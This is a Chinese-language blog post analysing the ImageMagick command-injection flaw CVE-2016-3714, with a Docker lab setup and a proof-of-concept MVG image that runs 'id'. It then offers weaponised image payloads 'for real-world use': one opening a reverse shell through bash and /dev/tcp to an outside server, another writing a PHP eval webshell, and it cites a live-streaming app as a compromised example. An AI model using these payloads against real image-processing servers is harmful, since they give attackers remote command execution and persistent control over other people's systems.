CVE-2016-3714

ImageMagick命令执行分析。

有只傻仔说复现不了ImageMagick,气死爹。

漏洞原理

mageMagick在处理https的图片时,底层都会调用c语言的system函数(可能除了java版本的ImageMagick)执行一条命令。

1
<delegate decode="https" command=""curl" -s -k -o "%o" "https:%M""/>

而其中的%o%M定义如下:

1
2
%o output image filename
%m input image format

%o输出符
%m被定义为输入的图片格式,也就是我们输入的url地址
总体说:command这个本意是用来远程下载图片到本地,比如

1
"curl" -s -k -o "demo.png" "https://rcoil.github.io/img/avatar.png"

而因为只是做了简单的字符串拼接,但是没有做任何的过滤,所以我们修改command中的URL,拼接一些命令。

在本机进行了测试:

原理就是这样。

搭建环境

用docker很方便的,因为早就有环境了。

1
2
3
4
5
6
获取镜像
docker pull medicean/vulapps:i_imagemagick_1
运行镜像
docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1
进入交互式shell
docker run -t -i medicean/vulapps:i_imagemagick_1 "/bin/bash"

这个漏洞镜像中已经准备好了一切东西。

漏洞利用

查看已经上传好的图片内容:
docker exec i_imagemagick_1 cat /poc.png

具体内容如下:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

1、push和pop是用于堆栈的操作,一个进栈,一个出栈;
2、viewbox是表示SVG可见区域的大小,或者可以想象成舞台大小,画布大小。简单理解就是根据后面得参数选取其中得一部分画面;
3、fill url()是把图片填充到当前元素内;

在其中我们使用了fill url()的形式调用存在漏洞的https delegate,当ImageMagick去处理这个文件时,漏洞就会被触发。

本地docker测试

1
docker exec i_imagemagick_1 convert /poc.png 1.png

这已经成功利用了这个漏洞。

而在实战当中,把要上传图片的内容改成反弹shell的命令或者写webshell

反弹:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/外网服务器ip/12340 0>&1")'
pop graphic-context

写webshell:

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo \\'<?php eval($_POST[\\'2333\\']);?>\\' > shell.php")'
pop graphic-context

比如: 映客直播APP存在命令执行(多台服务器)

!坚持技术分享,您的支持将鼓励我继续创作!